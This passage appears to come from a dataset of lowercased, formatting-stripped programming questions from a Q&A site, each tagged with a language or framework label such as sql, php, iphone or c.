[nstimer scheduledtimerwithtimeinterval:11.0                                                       target:self                                                     selector:@selector(displayviewsaction:)                                                     userinfo:nil                                                      repeats:no];     }        }  -(void)pausetimer{     pausestart = [[nsdate datewithtimeintervalsincenow:0] retain];     previousfiredate = [[timer firedate] retain];     [timer setfiredate:[nsdate distantfuture]]; }  -(void)resumetimer{     float pausetime = -1*[pausestart timeintervalsincenow];     [timer setfiredate:[previousfiredate initwithtimeinterval:pausetime sincedate:previousfiredate]];     [pausestart release];     [previousfiredate release];     }  - (void)displayviewsaction:(id)sender {       first *firstcontroller = [[first alloc] init];     firstcontroller.view.frame = cgrectmake(0  0  320  480);     catransition *transitionanimation = [catransition animation];       [transitionanimation setduration:1];         [transitionanimation settype:kcatransitionfade];         [transitionanimation settimingfunction:[camediatimingfunction functionwithname:kcamediatimingfunctioneasein]];         [self.view.layer addanimation:transitionanimation forkey:kcatransitionfade];     [self.view addsubview:firstcontroller.view];     [self.view addsubview:toolbar];     [firstcontroller release];        self.timer = [nstimer scheduledtimerwithtimeinterval:23 target:self selector:@selector(second) userinfo:nil repeats:no];       } </code></pre>   can anyone give an idea on how to stop the loading of <code>view controllers</code> again from the beginning when pause button is pressed again to resume playback.,iphone
group a table by if there is is isnt a matching record in joined table   i have a table listing invoices which we group on the year to total with the following   <pre><code>select   sum(totalvalue/((100 + vat)/100)) as purchases     year(invoice_date) as invoiceyear from invoices group by year(invoice_date) order by invoiceyear desc; </code></pre>   we also have a list of the invoice table includes a link to the supplierid in a list of suppliers   the product table also includes a list of the links to supplierid    i need to group on weather or not the invoices were for stock orders or not  so i need to group on the fact that there is or is not a product with a matching supplierid     this is where im getting stuck  when i run the join im stuck on how to group by if the supplierid field is null or not null       also some invoices are for multiple products how do i ensure im not creating multiple records in the invoice table,mysql
basic sql query request  sql: there are 3 columns in the table and they are employee_id  month  and working hour. how do you create a sql query to return monthly total of working hour for each employee,sql
what is the best way to store node(i).x and node(i).y array values in c++   i have to process spatial data which are nodes in a graph.what data type /variable type /data structure allows me to access the values of i-th node s x value and i-th node s y value.,c++
how does a class differ from a class library   i m a beginner in c#. i searched the web but couldn t find a satisfactory answer to these questions. they may be trivial  but i m pretty confused.   <ol> <li>how does a simple class without a <code>main</code> differ from a class library  </li> <li>can we create a .dll using the c# class template in visual studio  </li> </ol>,.net
finding rows that contain string  then creating column of said string  i want to query a database to see if a url contains a string and have it return the unique identifier  url and have another column of the string that i was searching for.     so if the initial query was :   <pre><code>select c.id as id   c.url as url   string  as string  from database c  where c.url like  %hello%  </code></pre>   i want it to return    <pre><code>+-------+-------------------+--------+ |  id   |        url        | string | +-------+-------------------+--------+ | 12345 | www.abc.com/hello | hello  | +-------+-------------------+--------+ </code></pre>   any help would be appreciated thanks!,sql
when i try to use the     thing for print  i get a syntax error  okay so i am really bored and decided to have my computer type a poem on my screen. i copied and pasted lyrics onto my screen like so:   <pre><code>import time import sys  def delay_print(s):     for c in s:         sys.stdout.write(  %s  % c )         sys.stdout.flush()         time.sleep(0.09999)  delay_print      lyrics words blah blah blah      </code></pre>   but when i paste the code in i get a syntax errors because there are apostrophes in it. i don t want to remove them because it basically takes half of the coolness out of it in a way. is there any way around it,python
timer and textview  i m trying to understand how to use a timer.    in my mainactivity.class  inside on create method  i have this code   <pre><code>  timer  timer = new timer();   timertask updatem = new gestioneslide();   timer.scheduleatfixedrate(updatem   1000  5000); // i want to do a thing every second   for 5 seconds </code></pre>   then i have another class where i override the method run  and where i want to write something in a texview that is in my mainactivity.class   <pre><code>class gestioneslide extends timertask {           @override        public void run() {             mainactivity.textviewname.settext( bla  bla );             }      } </code></pre>   my app crash  if i delete the <code>mainactivity.textviewname.settext( bla  bla );</code> i have no problem. probably i can t write in that textview that way what did i do wrong,android
bug with translating english to french using c++ ifstream  i have a problem that requires me to translate languages (english to french and vise versa) using an ifstream dictionary. though i have some problems:   <ol> <li>cannot display french accent characters out of bounds of unicode</li> <li>my code cannot differentiate spaces within words verses spaces within a sentence (eg. thank you --> merci)</li> </ol>   unfortunately  my school has some strict policies on asking others for answers and i dont want to risk posting my code. i am looking for tips or example functions that can help me out.    here is the dictionary used:   <pre><code>welcome     bienvenue to      sur first       premièr program     programme c++!        c++! hello       bonjour there       il how     comment are     allez you     vous today       aujourd hui good        bon good morning    bonjour afternoon   après-midi good evening    bonsoir much        beaucoup is      est this        ce where       où my      mon in      en thank you   merci have        avez been        ètè very        très </code></pre>   many thanks.,c++
how to animate the change of image in an uiimageview   i have an uiimageview with an image. now i have a completely new image (graphic file)  and want to display that in this uiimageview. if i just set    <pre><code>myimageview.image = newimage; </code></pre>   the new image is visible immediately. not animatable.     i want it to nicely fade into the new image. i thought maybe there s a better solution than just creating a new uiimageview on top of that and blending with animation,iphone
php pthreads maximum execution time  i am reading <a href= http://pthreads.org/  rel= nofollow >http://pthreads.org/</a> on the topic of pthreads and i have this questions.does pthread depend on the maximum execution time set using <code>void set_time_limit ( int $seconds )</code> or can a thread run for more time than set_time_limit allows .,php
if statement only follows one of the conditions  i am trying to write a jquery if statement that has two conditions i want to make sure that the variable <code>square</code> does not equal  theimg  and that its not blank. for some reason it still passes and adds a blank entry into the array. can someone tell me what i am doing wrong here.   <pre><code>    &lt;!doctype html&gt; &lt;html&gt;     &lt;head&gt;         &lt;title&gt;boom&lt;/title&gt;         &lt;link rel= stylesheet  type= text/css  href= css/style.css  /&gt;         &lt;script src= //code.jquery.com/jquery-1.10.2.min.js &gt;&lt;/script&gt;         &lt;script type= text/javascript  src= include/javascript.js &gt;&lt;/script&gt;         &lt;script src= //code.jquery.com/jquery-migrate-1.2.1.min.js  &gt;&lt;/script&gt;     &lt;/head&gt;  &lt;body&gt;  &lt;div id= wrapper &gt;     &lt;div id= container &gt;         &lt;div id= board &gt;             &lt;script&gt;createboard()&lt;/script&gt;             &lt;script&gt;                 $(  .boardsquares  ).click(function( event ) {                 var square = event.target.id;                 var squaresclicked = [];                     if(square !=  theimg ) {                     squaresclicked.push(square);                     }                     $(  #log  ).html(  clicked:   + square );                     $( #  + square).prepend( &lt;img id= theimg  src= images/x.png  /&gt; )                  $( body ).dblclick(function() {                     console.log(squaresclicked);                 })                  });             &lt;/script&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; &lt;div id= log &gt;&lt;/div&gt;  &lt;/body&gt;  &lt;/html&gt; </code></pre>   javascript.js:    <pre><code>function createboard(){     for(x=1; x&lt;=9;x++) {         var board = document.createelement( div );             board.classname =  boardsquares ;             board.id = x;         document.getelementbyid( board ).appendchild(board);     } } </code></pre>   <strong>update</strong> i added all of my code here and realized a couple things that i did not explain. my code generates 9 squares on the screen each with a unique id. as soon as one of them is click it retrieves the id of that div clicked and adds it to the <code>squaresclicked</code> array then it will add an image inside of the div that was clicked with the id of <code>theimg</code> that is why i am testing because if i click the same div twice it will add the value <code>theimg</code> to the array. with the code that i have now there are blank entries added to the array which is why i was testing for null. after removing the second condition it is still adding blank entries to the array like it is ignoring the <code>if</code> statement.,jquery
obtaining a unique device id  i am needing to uniquely id devices that connect to our service. i have found the following    <a href= https://github.com/jamesmontemagno/deviceinfoplugin  rel= nofollow noreferrer >https://github.com/jamesmontemagno/deviceinfoplugin</a>    i am reading that apple will reject your app if you try to get device info. will this work or what is another way to uniquely id a device,ios
how to add style a string in a method in .net  i need to  add color to the section between the  + sings.  could i wrap it in a span    <code>servicescountlabelproperty.text =  report will contain   + (this.filterhashcount.servicescount == 0    0  : (string.format( {0:0 0}   this.filterhashcount.servicescount)).trimstart(convert.tochar( 0 ))) +   errors(s). ;</code>,.net
using javascript window.open  i am trying to code so that i use javascript using window.open to open a url.  this opens a new window as desired  but the url is wrong.  it adds the domain url to the beginning of it.  does anyone know how i would fix this   it has to use javascript.   <pre><code>&amp;teledocclogo =  &lt;a onclick=  javascript:window.open( www.teladocc.com/ );iaddclickstat( benefits_teladocc_link );return false;   href= # &gt; </code></pre>   url it takes me to: <a href= https://finder-t2.int.ps.nbc.com/psp/ps/employee/empl/h/www.teladocc.com/pnc  rel= nofollow >https://finder-t2.int.ps.nbc.com/psp/ps/employee/empl/h/www.teladocc.com/pnc</a>,javascript
in sql how do i write a query with case and count  i have this table with user email and company id. a user can add more than one company to their account. so it is possible that a user can have more than one company id to his email. i want to write a query to count the users (this query i already written) and identify them as multiple companies users. so in my count statement how should i write to say that if there is more than one company id to that email identify as multi-company user.    below is the query i have written to get the list of emails with more than one id.   <pre><code>select email  count(company_id) as count_of_companies  from database group by email having count(company_id) &gt; 1 order by count_of_companies dec; </code></pre>   thank you,sql
why can t i login to facebook  it is not letting me login to facebook at all it said there is and errors like null pointer exception attempt to invoke virtual method i just want it fixes so i can talk to my family and my sister that lives in australia,ruby-on-rails
in php  how to append incremental value to each tag  i have a bunch of <code>&lt;p&gt;</code> tags in an html file that i would like to append a unique value to  for example  my html file has the following (i ve dumped this html file into a php variable using <code>file_get_contents</code>):   <pre><code>&lt;p&gt; ... data ... &lt;/p&gt; &lt;p&gt; ... data ... &lt;/p&gt; &lt;p&gt; ... data ... &lt;/p&gt; &lt;p&gt; ... data ... &lt;/p&gt; &lt;p&gt; ... data ... &lt;/p&gt; </code></pre>   i would like to change it so it reads this instead:   <pre><code>&lt;p id= unique1 &gt; ... data ... &lt;/p&gt; &lt;p id= unique2 &gt; ... data ... &lt;/p&gt; &lt;p id= unique3 &gt; ... data ... &lt;/p&gt; &lt;p id= unique4 &gt; ... data ... &lt;/p&gt; &lt;p id= unique5 &gt; ... data ... &lt;/p&gt; </code></pre>   since this is a regular html file  there are other tags that may reside in the file as well (such as <code>&lt;html&gt;</code>  <code>&lt;head&gt;</code>  <code>&lt;style&gt;</code>  <code>&lt;body&gt;</code>  etc.  but i want to append a unique id to all <code>&lt;p&gt;</code> tags,php
how to display specific lines of text from a text file in a textbox   i have created an app that will open a file dialog  you can open a file  and then display it s contents in textbox. howvever  there are three blocks of text from the file that i really need. i need to be able to  parse  only display these blocks of text. i have used readalllines. however  not sure how to sort via a for each loop. any help would be appreciated:    my code   <pre><code>private void button1_click(object sender  eventargs e) {     stream mystream;     openfiledialog openfiledialog1 = new openfiledialog();      //setting initial directory to the automated repository     openfiledialog1.initialdirectory =  \\\\10.2.xxx.xx\\repository\\automatedversionrepository\\jmn web application\\ ;      // set filter options and filter index.     openfiledialog1.filter =  txt files (*.txt)|*.txt|config files (*.config*)|*.config* ;     openfiledialog1.filterindex = 2;     openfiledialog1.multiselect = true;     openfiledialog1.restoredirectory = true;      // call the showdialog method to show the dialog box.     //bool  userclickedok = openfiledialog1.showdialog() ==dialogresult.ok;     if (openfiledialog1.showdialog() ==system.windows.forms.dialogresult.ok)     {        if ((mystream = openfiledialog1.openfile()) !=null)        {            string strfilename = openfiledialog1.filename;            string []filetext = file.readalllines(strfilename);            foreach (string line in file.readlines(strfilename))            {               //process the line            }            //richtextbox1.text = filetext;        } </code></pre>   example of blocks of text:   <pre><code> &lt;!---interface urls and settings--&gt; &lt;add key= iufuploadpath  value=   /&gt; &lt;add key= jsdskapiurl  value= http://api.documentation.com/16_4  /&gt; &lt;add key= pvapiurl  value= http://devapi.documentation.com/16_4  /&gt; &lt;add key= firstdatawebserviceurl  value= https://dev.spectrumretailnet.com/ppsapi  /&gt; &lt;add key= reportserverurl  value= https://reports64.documentation.com/9_2_0/framehost.aspx  /&gt; &lt;add key= helpassadminurl  value= http://helpppass.documentation.com/app/adminconsole.aspx  /&gt; &lt;add key= xaimapiurl  value= //devquippe.documentation.com/ws.aspx  /&gt; </code></pre>,c#
how can i get the  application root  of my url from php   if my url is <code>http://www.server.com/myapp/stuff/to/see</code> and my directory structure on disk is <code>htdocs/myapp/*</code>  how can i extract the <code>/myapp</code> part  also  what if there was no application folder and the application root was just  /   is there a predefined variable for getting that value     what i want is a function that is able to trim <code>/myapp</code> off of the request uri  so that i m only left with <code>/stuff/to/see</code>. and  if i were to move the application to the server document root  have it determine that as well (so that <code>/stuff/to/see</code> is just returned as <code>/stuff/to/see</code>)    my directory structure is this:   <pre><code>application   |-config     |-config.inc.php library   |-autoload.class.php public   |-css   |-img index.php </code></pre>   so  from index.php  i want to know how to get what i asked above.,php
angular -- easier way to view scope while debugging   i find myself doing the following many  many times in any given angular session:   <ul> <li>select an html element in the  elements  tab of the dev tools</li> <li>run scope = angular.element($0).scope()</li> </ul>   is there an easier way to do this  some chrome extension that will automatically expose the scope of a selected element or some such,angularjs
making a new object using a constructor function and calling a function in javascript  i m having a little trouble with this code:   <pre><code>window.onload = function() { // make a new method isleapyear and accept the date argument. date.prototype.isleapyear = function(date) {     if(date.getfullyear() % 4 != 0) {         return false;     } else if(date.getfullyear() % 100 != 0) {         return true;     } else if(date.getfullyear() % 400 != 0) {         return false;     } else {         return true;     } }   // make a new method daysinmonth and accept the date argument. date.prototype.daysinmonth = function(date) {     if(date.getmonth() === 0 || date.getmonth() === 2 || date.getmonth() === 4 || date.getmonth() === 6 || date.getmonth() === 7 || date.getmonth() === 9 || date.getmonth() === 11) {         return  31 ;     } else if(date.getmonth() === 3 || date.getmonth() === 5 || date.getmonth() === 8 || date.getmonth() === 10) {         return  30 ;     } else if(date.getmonth() === 1) {         if(date.isleapyear(date) === true) {             return  29 ;         } else {             return  28 ;         }     } }  // make a new method ageinyears and accept the date argument. date.prototype.ageinyears = function(date) {     return math.floor((new date() - date) / 1000 / 60 / 60 / 24 / 365.2595); }  function person(firstname  lastname  mi  birthdate) {     this.firstname = firstname;     this.lastname = lastname;     this.mi = mi;     this.birthdate = birthdate;     this.age = this.birthdate.ageinyears(this.birthdate); }  person.prototype.setbirthdate = function(month day year) {         currentyear = new date().getfullyear();         currentmonth = new date().getmonth();         currentday = new date().getdate();          if(month &gt; currentmonth &amp;&amp; day &gt; currentday &amp;&amp; year &gt; currentyear || month &gt; currentmonth &amp;&amp; year &gt; currentyear) {             return  month/day/year not valid. ;         } else {             return (new date(year  month  day));          } }  var newguy = new person( new    guy    j    person.setbirthdate(5 7 1989)); } </code></pre>   i get the error  uncaught typeerror: undefined is not a function person.js:59  it is saying that undefined is not a function on the new person object. how come  i ve been stumped a while  can anyone help me out,javascript
why iphone app start slowly   i m newbie in iphone dev  i got an issue with running an app in my iphone device. i added my provisioning profile to xcode and build successfully in my iphone (iphone 3g). but  i don t know why when the app start  <strong>it takes 2 seconds to run the app</strong>.my app is a sample project create by xcode (file - new project - view based application)  i don t add any more code to it. i wonder that: does my provisioning profile make it slowly  please help me ...,iphone
create login form in iphone  i am trying to create a login page in iphone  using <code>sqlite</code>.    i need suggestions  how to create login form with username /password authentication. for successful login - user should navigate to next page.<br> otherwise giving user a error message: <em>login failed</em>.    can you guys suggest me some tutorial or some guideline to create login form.,iphone
how to display text on ios  i m new to xcode an trying to design a basic text app. i m wondering what the best way to display mutable text that cannot be edited by the user. thanks for any help.,ios
crashing ipad app  memory issues  i m very new to objective c  that s actually my first app... i m working on an application which has a list of projects  each project has its own gallery of images  segues וarc. the gallery takes about 90% of the screen  and a row of thumbnail takes the rest.    it is running ok on the simulator  but when i get out of one gallery to another (somtimes after three or four passages) the application crashes (on real device - ipad2 with ios 6). there is no exception or error  the log is clean. it seems to crash when the application reaches 350mb of ram.    i believe there is no memory release between passing trough the galleries  even though i am usingבarc וsegues.    in addition  on the first entry to each gallery  it takes a few seconds for the gallery to load (only on first run  if i exit and reenter the same gallery it enters immidiatly) which seems further clue that it is kept in the memory.    i would really appriciate any idea  even if it simple as this is a first app and i m not very experienced.    thanks for your time and help...,objective-c
retrieve value from input object plain js  i have the following field     <pre><code>&lt;input id= department  value= finance /&gt; </code></pre>   i m trying to create an object variable containing the field in plain old javascript like so.   <pre><code>var $field = $(document.getelementbyid( department )); </code></pre>   i m then trying to pull the value from the field variable  however it s failing.    <pre><code>$field.value; </code></pre>   does anybody know what i m doing wrong,javascript
html - how to include external html page  i am developing a website   i have an html page which has some contents  have also made a signup modal in the same page  but the code is getting longer  i just want to know if i keep the code of sign up modal in another file with .html/.htm extension  and on button click that modal is displayed on the same page  not to be redirected to another page  like it is displaying on the home. i don t want the home contents to be shattered   just the modal to be displayed on above.,html
change the size of uiimage before set on the imageview  there is a imageview of size 504x320 and image size 1080x1920 which is large than imageview  i want to change the size of this image same as imageview without changing the quality and content of image. i am using this method and this working good but this method little bit crop  to actual image   <pre><code>    - (uiimage*)imagebyscalingandcroppingforsize:(cgsize)targetsize image:(uiimage*)image {     uiimage *sourceimage = image;     uiimage *newimage = nil;     cgsize imagesize = sourceimage.size;     cgfloat width = imagesize.width;     cgfloat height = imagesize.height;     cgfloat targetwidth = targetsize.width;     cgfloat targetheight = targetsize.height;     cgfloat scalefactor = 0.0;     cgfloat scaledwidth = targetwidth;     cgfloat scaledheight = targetheight;     cgpoint thumbnailpoint = cgpointmake(0.0 0.0);      if (cgsizeequaltosize(imagesize  targetsize) == no)     {         cgfloat widthfactor = targetwidth / width;         cgfloat heightfactor = targetheight / height;          if (widthfactor &gt; heightfactor)             scalefactor = widthfactor; // scale to fit height         else             scalefactor = heightfactor; // scale to fit width         scaledwidth = width * scalefactor;         scaledheight = height * scalefactor;          // center the image         if (widthfactor &gt; heightfactor)         {             thumbnailpoint.y = (targetheight - scaledheight) * 0.5;         }         else             if (widthfactor &lt; heightfactor)             {                 thumbnailpoint.x = (targetwidth - scaledwidth) * 0.5;             }     }      uigraphicsbeginimagecontext(targetsize); // this will crop      cgrect thumbnailrect = cgrectzero;     thumbnailrect.origin = thumbnailpoint;     thumbnailrect.size.width = scaledwidth;     thumbnailrect.size.height = scaledheight;      [sourceimage drawinrect:thumbnailrect];      newimage = uigraphicsgetimagefromcurrentimagecontext();     if(newimage == nil)          nslog(@ could not scale image );      //pop the context to get back to the default     uigraphicsendimagecontext();     return newimage; } </code></pre>,iphone
how to fix this segmentation error in a sequence inverting program   i m practicing c language and just built a simple program that inverts sequence of alphabets in a word.   <pre><code>#include &lt;stdio.h&gt;  int main(void) {   char str[50];    printf( enter a word:  );   scanf( %s   str);    int i  len=0;   char temp;    while(str[len]!= \0 )   {     len++;   }   /*   for(i=0; i&lt;len/2; i++)   {       temp=str[i];       str[i]=str[(len-i)-1];       str[(len-i)-1]=temp;   }   */    while(i!=len-1)   {     temp=str[i];     str[i]=str[len-1];     str[len-1]=temp;     i++;     len--;   }   printf( %s\n   str);   return 0;  } </code></pre>   i got two versions and one is working very well but the other makes  segmentation error: 11  i guess i might have accessed wrong memory position but it s quite tricky to figure out what have i done wrong.,c
php. new instantiated object call only __destruct() if variable for it was used for instantiation same class early  i want to test how <code>__destruct</code> method works  this is my test class:   <pre><code>class a {     public static $x = 1;     public function __construct()     {         echo  construct\n ;     }     public function test()     {         echo self::$x .  \n ;         self::$x++;     }     public function __destruct()     {         exit( destruct\n );     } } </code></pre>   now i try to instantiate several objects and call <code>test()</code> method:   <pre><code>$first = new a(); $first-&gt;test(); $first-&gt;test();  $second = new a(); $second-&gt;test(); $second-&gt;test();  $first = new a(); $first-&gt;test(); $first-&gt;test(); </code></pre>   the output:   <pre><code>construct 1 2 construct 3 4 construct destruct destruct </code></pre>   why last <code>$first</code> object returns only  destruct    it seems it call only <code>__destruct()</code> method. this code was tested on php 5.5,php
concurrent programming in java : future vs fork/join  i have learnt the concepts of future  fork and join. can someone explain differences/similarities between these two. where to apply which concept.,java
how do you get started with mono curses   i am trying to create an interactive command line program and it seems that <a href= http://www.mono-project.com/monocurses  rel= nofollow noreferrer >mono-curses</a> is what i need. but i am very confused on how to use it. i have a couple of questions. what do i really need to create my project  do i need mono or can i use the .net framework  why is there a .c file in there and what do i do with it      if anyone could help me get setup with all the required assemblies it would be greatly appreciated.   <hr>   does anyone know of a library that can do this with .net     i don t mind using mono as its just a personal project. i just need the steps to figure out what i need to download from mono to use the library.    i will be developing locally on my machine which is vista.,.net
system.threading.timer won t work constantly  i m using this code to check my installed programs (appwiz.cpl) and my ipconfig  every 5 seconds.    i m using a thread since i have a gui and it needs to stay active.   <pre><code>public void time() {  var time = new system.threading.timer(x =&gt;  {   conf();   ncpa( ipconfig /all );  }  null  5000  timeout.infinite); } </code></pre>   i have my callback at the end of  ncpa  method  as <code>time();</code>    it works  but after a few minutes the threads will exit with code 259  and won t run anymore.    thanks for the help!,c#
how to join multiple table where two tables are based on third table  i am new in mysql and am trying to join multiple column from 4 tables where two tables (order and product) linked by third table i.e orderline. here is the query which i think is not correct.   <pre><code>select orders.orderdate  orders.orderid  orders.orderstatus  customer.firstname  customer.lastname  product.productname   product.qunatity  branch.branchname from orders  inner join customer on orders.customerid = customer.customerid inner join orderline on  orderline.orderid = orders.orderid inner join branch on orders.branchid = branch.branchid inner join  orderline.productid = product.productid; </code></pre>   but i am getting error which of 1054  unkwon column  product.productname  in  fieldlist  can anyone show me the right way to do this.thanks,mysql
any tips on writing php echo code on different devices  i have these two lines for my webpage to show ads.   <pre><code>echo $this-&gt;config-&gt;item( 728x90 ); echo $this-&gt;config-&gt;item( 468x60 ); </code></pre>   i simply want desktop devices to show <br>   <pre><code>php echo $this-&gt;config-&gt;item( 728x90 ); </code></pre>   and tablet or mobile devices to show    <pre><code>echo $this-&gt;config-&gt;item( 468x60 ); </code></pre>   please help me  thanks,php
memory leak while creating annotation points  i found a memory leak while profiling my application   <pre><code>customannotation *annotationpoint = [[customannotation alloc] initwithlatitude:store.latitude longitude:store.longitude];  annotationpoint.titlelabel = store.name; annotationpoint.subtitlelabel = [nsstring stringwithformat:@ %dm   store.distance]; [annotationpoint setevent:store];  [self.mapview addannotation:annotationpoint];  [annotationpoint release]; </code></pre>   this is what is specified as leaking and <code>annotationpoint.subtitlelabel = [nsstring stringwithformat:@ %dm   store.distance];</code> is marked with 100%     what should i do to fix this,objective-c
asp.net listview control  here i am using listbox to populate the data from database. in this listbox i have one button and the name of button is delete. here i am using also ajax. so if you click on the delete button it is showing the confirmation message   are you sure to delete this item . to show the confirmation message i am using the ajax control and its name is  confirmbuttonextender . and its attribute is confirmtext= are you sure want to delete  . so my question is how to show the message with name of the product like  are you sure want to delete keyboard   so here instead of keyborad it will be change  depend on selected item. so how can i do it  please help me. here is my code :    <pre><code>&lt;td runat= server  id= action &gt;           &lt;asp:imagebutton id= ibtnedit  runat= server  commandname= edit  alternatetext= edit  tooltip= edit  imageurl= ../images/icons/fugue/pencil.png  /&gt; &lt;asp:imagebutton id= ibtndelete  runat= server  commandname= delete  alternatetext= delete  tooltip= delete  imageurl= ../images/icons/fugue/cross-circle.png /&gt; &lt;/td&gt; &lt;cc1:confirmbuttonextender id= confirmbuttonextender1  runat= server  targetcontrolid = ibtndelete  confirmtext= are you sure want to delete   onclientcancel = cancelclick &gt; &lt;/cc1:confirmbuttonextender&gt;  </code></pre>,asp.net
creating the json for options in swift  i  need to know how to  create json will for following data.    i have 5 questions and for each question i have 5 options.    options are:-1.strongly disagree              2.disagree               3.agree              4.strongly agree              5.neutral    datasourcemodel:-   <pre><code>class cf_page2datasourcemodel: nsobject {       var datalistarray:array&lt;cf_page2model&gt;  = []      init(array :array&lt;[string:any]&gt; ) {         super.init()         var newarray:array&lt;[string:any]&gt; = []         if array == nil{              newarray = self.getjsondatastored22()         }         else{             newarray = array!          }          var datalist:array&lt;cf_page2model&gt; = []         for dict in newarray{              let model = cf_page2model(dictionary: dict)              datalist.append(model!)         }         self.datalistarray = datalist     }  }  typealias dummydatasource22 = cf_page2datasourcemodel extension dummydatasource22{      func getjsondatastored22() -&gt;array&lt;dictionary&lt;string string&gt;&gt;{          let jsonarray = [[ question : the waiting period was reasonable  ] [ question : the waiting period was reasonable  ] [ question : the waiting period was reasonable  ] [ question : the waiting period was reasonable  ]] as array&lt;dictionary&lt;string string&gt;&gt;          return jsonarray     }  }    let jsonarray = [[ question : the waiting period was reasonable  ] [ question : the waiting period was reasonable  ] [ question : the waiting period was reasonable  ] [ question : the waiting period was reasonable  ]] as array&lt;dictionary&lt;string string&gt;&gt; </code></pre>   this is my data but i not understanding where the options must added.   <pre><code>[        {  question :  the waiting period was reasonable  }  {  question :  the waiting period was reasonable  }  {  question :  the waiting period was reasonable  }  {  question :  the waiting period was reasonable  } ] </code></pre>   so how to create the json for this     <a href= https://i.stack.imgur.com/5alhu.png  rel= nofollow noreferrer >screen shot</a>,ios
how do you view other page content without  opening a page  how do you show content of another page  without opening the other page. i want to display another sites content  but i don t want to open another window  instead i want that website  to be viewed on my site  without opening the other page. i need the html code to do this,html
submit generated value to input rails  i am creating a form in which an input in that form auto-generates a unique <code>group_id</code>. i set the value of that input to the randomly-generated string and set the input field to disabled so they can not edit it unless they click a check-box.    when i submit the form however the value does not go into the database even though i have the <code>:group_id</code> set in the permit params.    <pre><code>&lt;%= form.text_field :group_id  id: :group_id  class:  form-control inline   value:  dsc-  +  #{@pdnum.id} .rjust(3   0 ).to_s  disabled: true %&gt; </code></pre>   does the value not get submitted into the database  if not  how can i get around this so that this randomly generated string is placed into the database,ruby-on-rails
jquery each loop doesnot print the text <pre><code>$.each( headings  function() {       $( #heading ).append($( &lt;option /&gt;  { value: this  text: this })); }); </code></pre>   the html validator shows this    <pre><code>&lt;option value= abc &gt;&lt;/option&gt; &lt;option value= xyz &gt;&lt;/option&gt; &lt;/select&gt; </code></pre>   the text for the option is not getting printed. if i use a hash it works fine though,jquery
counting values in python  how to count the number of occurrence of a values in a  dictionary in python     <pre><code>a = dict() a[ cat ] =      1 a[ fish ] =     1 a[ dog ] =      2   a[ bat ] =      3 a[ aardvark ] = 3 a[ lion ] =    4   a[ wallaby ] =  5 a[ badger ] =   5 </code></pre>   output expected:   <pre><code>key  count  1   2  2   1  3   2  4   1  5   2  </code></pre>   <code>edit</code>    sorry   i meant to say counting values,python
filling a tree using random values using loop  i have the following question:    i created this structure:   <pre><code>typedef struct tree{     float pnt[2];     struct tree *left;     struct tree *right; }node; </code></pre>   my goal is to establish the initial tree with random points (each point of dim=2). we can do that manually from the main function something like this:   <pre><code>node n[] = {     {{2  3}}  {{5  4}}  {{9  6}}  {{4  7}}  {{8  1}}  {{7  2}} }; </code></pre>   however  i want to do that using a loop that fills each node with random point. is it correct to do the following:   <pre><code>node n; int num_nodes = 6;  srand(time(null)); for (i = 0; i &lt; num_nodes; ++i) {     n-&gt;pnt = (float) rand() / (float) rand_max; } </code></pre>,c
angularjs-dropdown-multiselect onselectall event  this posting is not a question as much as it is documenting a work around for determining what items are selected when the user selects all and there is a search filter involved.    the event onselectall fires as soon as user clicks this option.  the obvious result is all of the options listed in the data model.  but if the control allows the user to search  the result is a filtered subset of the original options.    when onselectall fires the  selectedmodel  property always reads zero items.  i think this is a bug since all the items are selected.  furthermore  because the search reduced the options list  select all only selected those items that matched the exposed filter.    my work around was to use the undocumented onclose event.  when onclose fires the selectedmodel shows the correct filtered subset of all selected items.   <pre><code>&lt;div ng-dropdown-multiselect=        options= oitems       selected-model= oselected       translation-texts= { buttondefaulttext:  select items }       extra-settings= {         displayprop: itemname           idprop: itemfk           externalidprop:            styleactive: true          showcheckall: true          showuncheckall: true          scrollable: true          enablesearch: true          keyboardcontrols: true      }       search-filter=        events= callbackevents &gt; &lt;/div&gt;  callbackevents = {     onclose: function () {         console.log( oncosed );         console.log($scope.oselected);  // reads correctly     }      onselectall: function () {         console.log( onselectall );         console.log($scope.oselected); // reads zero     } } </code></pre>,angularjs
why is the while loop is not stoping after the last statement   in the next program the while loop suppose to stop after the printf in the block is executed:    isn t it    <pre><code>#include &lt;stdio.h&gt; #define hour 60  int main()  {      int min  smallthenhour  timeinhour  minleft;      printf( please enter time in minutes: \n );      scanf( %d   &amp;min);      while (min &gt; 0)      {         timeinhour = min/hour;         minleft = min % hour;         smallthenhour = min &lt; hour;          printf( in %d seconds  there are %d and %d min  min  timeinhour smallthenhour);     }  } </code></pre>   would appreciate is someone can tell a c beginner why its not stopping :)    tnx,c
when is it ok to store an object on $rootscope in angularjs  i see many tutorials on authentication that put an  auth  object on $rootscope  including the <a href= https://github.com/firebase/angularfire-seed/blob/master/app/js/app.js >angularfire-seed</a> from the firebase-people.    i thought it was bad practice to put objects on the rootscope and one should rather create a service instead. why is this (apparently) ok when it comes to authentication  or rather the more general question: when is it ok and perhaps even good practice to put something on the rootscope     to give another example. i have in addition a profile-object on the user. is it also ok to add this to the auth-object  i even do not pollute the rootscope in this case  since the auth-object is already there. is it ok to put the profile on the rootscope like this (via the auth-object)  if not  why     i know  it was several questions  but they all boil down to one the qeustion in the title...,angularjs
too few arguments to function `float calcsize(int  int  int  int)   it keeps telling me too few arguments to function in my float <code>calcsize()</code> function  even though i m sending all 4 variables in it. my other question is  does my program make sense    <pre><code>#include &lt;stdio.h&gt; #include &lt;conio.h&gt; #define paint 350.00  //function prototype void displayinstructions(); float calcsize(int   int   int   int ); float calcpaint(float); float calccost(float  float); void displaytotals(float  float  float);  int main() {     // variables     int l   w   d  win ;     float s;     float p;     float cp = 32.00;     float c ;     displayinstructions();  //getting variables     printf( please enter the number of heights in feet );      scanf( %d  &amp;l);     printf( please enter the number of width );      scanf( %d  &amp;w);     printf( please enter the number of doors );      scanf( %d  &amp;d);     printf( please enter the number of windows );      scanf( %d  &amp;win);      calcsize(l   w   d   win);      calcsize() = s;     calcpaint(s);      calcpaint() = p;     calccost(p  cp);       calccost() = c;                   displaytotals(s   p   c);         getch(); return 0; }  //display function     void displayinstructions() {      printf( welcome to the green paint calculator! );      printf( \nenter the height and width of the room (in feet) );      printf( \nand the number of doors and windows. );       printf( this program will then calculate how many cans of paint needed );       printf( \n(based on 2 coats of paint).it will then calculate the cost );       printf( \nbased on the charge per gallon entered );        } //calcsize function float calcsize(int l  int w  int d  int win) {          float area  areadoors  areawindows;       area = (l + w) * 2 * 8.0;      areadoors = d * 20;      areawindows = win * 15;       area -= areadoors + areawindows;           return area; }  